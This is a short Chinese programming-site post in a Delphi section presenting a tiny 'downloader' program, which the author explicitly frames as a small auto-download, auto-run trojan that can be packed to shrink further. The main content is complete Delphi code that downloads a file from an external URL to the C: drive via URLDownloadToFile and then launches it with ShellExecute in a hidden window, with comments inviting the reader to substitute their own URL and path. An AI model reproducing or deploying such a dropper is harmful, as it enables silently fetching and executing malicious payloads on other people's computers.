电脑爱好者,提供IT资讯信息及各类编程知识文章介绍,欢迎大家来本站学习电脑知识。 最近更新 | 联系我们 RSS订阅本站最新文章
电脑爱好者
站内搜索: 
当前位置:首页>> delphi技术>>下载程序也可以这么小!:

下载程序也可以这么小!

来源:远方网络 | 2005-12-29 14:46:49 | (有2292人读过)

刚看了.南域剑盟的一个动画才发现
自动下载,自动运行小木马可以写成.
10几kb再一加壳哪不更小!学到了不少!

program wsdgsRoad;

uses
URLMon,
ShellApi;

var
u,l: pchar;
{.$R *.res}
function DownloadFile(SourceFile, DestFile: string): Boolean;
begin
GetMem(u,100);
GetMem(l,100);
u:='http://www.jm-my.com/ip2.txt';//改为你要下载的网址
l:='c:/downpage.txt';//改为你要存放并打开文件的路径
try
Result := UrlDownloadToFile(nil, PChar(u), PChar(l), 0, nil) = 0;
except
Result := False;
end;
end;
begin
if DownloadFile(u, l) then
begin
ShellExecute(0, PChar('open'), PChar(l),
PChar(''), nil, 0)
end;
//freemem(u);
//freemem(l);
end.

delphi技术热门文章排行
网站赞助商
购买此位置

 

关于我们 | 网站地图 | 文档一览 | 友情链接| 联系我们

Copyright © 2003-2024 电脑爱好者 版权所有 备案号:鲁ICP备09059398号